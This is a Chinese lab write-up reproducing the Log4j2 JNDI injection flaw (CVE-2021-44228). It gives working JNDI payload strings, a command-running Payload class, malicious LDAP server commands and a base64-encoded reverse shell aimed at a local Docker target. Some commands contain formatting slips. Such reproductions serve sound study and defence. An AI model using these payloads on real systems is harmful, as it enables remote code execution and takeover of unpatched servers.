CVE 202144228 Log4j2命令执行复现及分析

12月11日：Apache Log4j2官方发布了2.15.0 版本，以修复CVE-2021-44228。虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题，但 Log4j团队认为默认启用 JNDI 存在安全风险，且2.15.0版本存在CVE-2021-45046漏洞。

12月13日：Apache Log4j2官方发布了Log4j 2.16.0版本（Java 8或更高版本），该版本删除了Message Lookups功能并默认禁用JNDI功能，并从该版本开始默认禁用JNDI功能，但可以通过将log4j2.enableJndi设置为 true 以启用 JNDI。此外，Log4j现在将协议默认限制为仅java、ldap和ldaps，并将ldap协议限制为只能访问Java原始对象。本地主机以外的主机需要被明确允许。

12月15日：Apache Log4j2官方发布了Apache Log4j 2.12.2版本，该版本修复了CVE-2021-44228和CVE-2021-45046，适用于仍在使用Java 7的用户。

漏洞描述

Apache Log4j2是一个基于Java的日志记录框架。正常情况下，开发者可能会将错误信息写入日志中，可以利用此特点构造特殊的数据请求包，最终触发远程代码执行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

受影响版本

Apache Log4j 2.0-beta9 - 2.12.1 、Apache Log4j 2.13.0 - 2.15.0-rc1

Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.

注意：2.15.0-rc1 rc1被绕过是说漏洞点确实可以被绕过，但是rc1已经默认了log4j2.formatMsgNoLookups为true 只要不是手贱那也没啥问题

原理分析

该漏洞主要是由于日志在打印时当遇到“${”后，以“:”号作为分割，将表达式内容分割成两部分，前面一部分prefix，后面部分作为key，然后通过prefix去找对应的lookup，通过对应的lookup实例调用lookup方法，最后将key作为参数带入执行，引发远程代码执行漏洞。

漏洞点

LogManager.getLogger().error()
LogManager.getLogger().fatal()

如图如下协议方式都可以利用

com.sun.jndi.rmi.object.trustURLCodebase  设为true 可以在高版本jdk触发漏洞。
logger.info("${jndi:ldap://0c22zc.dnslog.cn}"); error级别的更容易触发，如果不打印info级别信息，则info级别不能触发漏洞。所以优先用error触发。

影响应用

可能的受影响应用包括但不限于如下：

Spring-Boot-strater-log4j2

Apache Struts2

Apache Solr	左边第三个选项，rename

Apache Flink

Apache Druid 一个最上面的框，一个左边第三个选项中添加的框

ElasticSearch

flume

dubbo

Redis

logstash

kafka

漏洞复现

Idea搭建

新建maven工程，pom.xml中引入log4j2依赖：

<dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>

Payload.java 注意区分大小写

import java.io.IOException;

public class Payload {
    public Payload() {
        //直接在构造方法中运行计算器
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

该exp用于弹出计算器，验证命令执行效果。

test.java

import  org.apache.logging.log4j.LogManager;
import  org.apache.logging.log4j.Logger;


public class test {
    public static final Logger logger = LogManager.getLogger(test.class);
    public static void main(String[] args){
        logger.error("${jndi:ldap://192.168.50.213:9998/Payload}");注意区分大小写
    }

}

手动将exp.java生成字节码文件，并通过python搭建简易web用于外部访问：

再开一个恶意的ldap服务：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.213:9999/#Payload" 9998  
注意区分大小写

运行test.java,可以看到ldap服务和web服务都有访问记录：

并且有计算器弹出来，命令执行成功：

并产生了一条错误日志

docker复现

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8888:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash/home/apache-tomcat-8.5.45/bin/startup.sh

执行完以上操作，可以访问存在Apache Log4j远程代码执行漏洞，这里192.168.32.168的ip地址是我安装了docker虚拟机的ip地址，url如下：

http://192.168.32.168:8888/webstudy/hello-fengxuan

由于该漏洞是jndi加载ldap协议就可以触发漏洞，使用
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行ldap协议监听，并提前输入好需要执行的命令，命令如下：

java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch/tmp/88888888888" -A 192.168.32.1
-C后面添加的是需要执行的命令
-A后面是监听的IP地址

只要根据JDK的版本，提交不同的ldap
如果JDK 是1.7，可以使用

ldap://192.168.32.1:1389/sjrchi 这个链接是根据自己上面起的ldap服务生成的链接

如果JDK 是1.8，可以使用

ldap://192.168.32.1:1389/fojm7q 这个链接是根据自己上面起的ldap服务生成的链接

通过BurpSuite提交数据包，由于url只接受需POST数据，受影响的参数是c，在验证的时候，一定要加入

Content-Type:application/x-www-form-urlencoded;

已经接收到ldap协议数据

如果Apache Log4j远程代码执行漏洞成功，就会执行命令touch /tmp/88888888888，在tmp目录下建一个88888888888文件

进入docker环境漏洞靶场，查看命令是否执行成功，文件成功被创建

docker exec -it log4j_vuln_container /bin/bash
ls /tmp

通过修改-C里面的命令内容，获取shell

对bash -i >& /dev/tcp/192.168.32.1/220>&1命令进行加密处理

java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEvMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"-A 192.168.32.1

成功获取shell。